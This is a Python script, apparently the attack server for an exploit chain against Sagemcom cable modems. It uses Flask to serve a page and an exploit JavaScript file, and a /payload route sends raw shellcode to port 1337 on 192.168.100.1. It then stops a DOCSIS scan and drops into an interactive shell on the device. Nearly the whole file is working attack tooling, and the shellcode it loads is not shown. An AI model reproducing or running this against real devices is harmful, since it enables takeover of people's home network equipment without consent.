from pwn import *
import time
from flask import Flask
from flask import request
from flask import Response
from flask import send_from_directory
from flask import jsonify

def exploit(ip):
    with open('exploit.raw', 'rb') as f:
        shellcode = f.read()

    l = remote(ip, 1337)
    l.sendline(shellcode)
    l.sendafter(b'Done!', b'/docsis_ctl/scan_stop\n')
    l.sendafter(b'Scan stopped...', b'ls')

    l.interactive()

app = Flask(__name__)

@app.route('/')
def home():
    return app.send_static_file('./index.html')

@app.route('/exploit.js')
def loopJS():
    return app.send_static_file('./exploitSagemcom.js')

@app.route('/payload')
def payload():
    exploit('192.168.100.1') #should be from requests if exploit remotely

app.run(host='0.0.0.0', port=8085, use_reloader=False, debug=True)
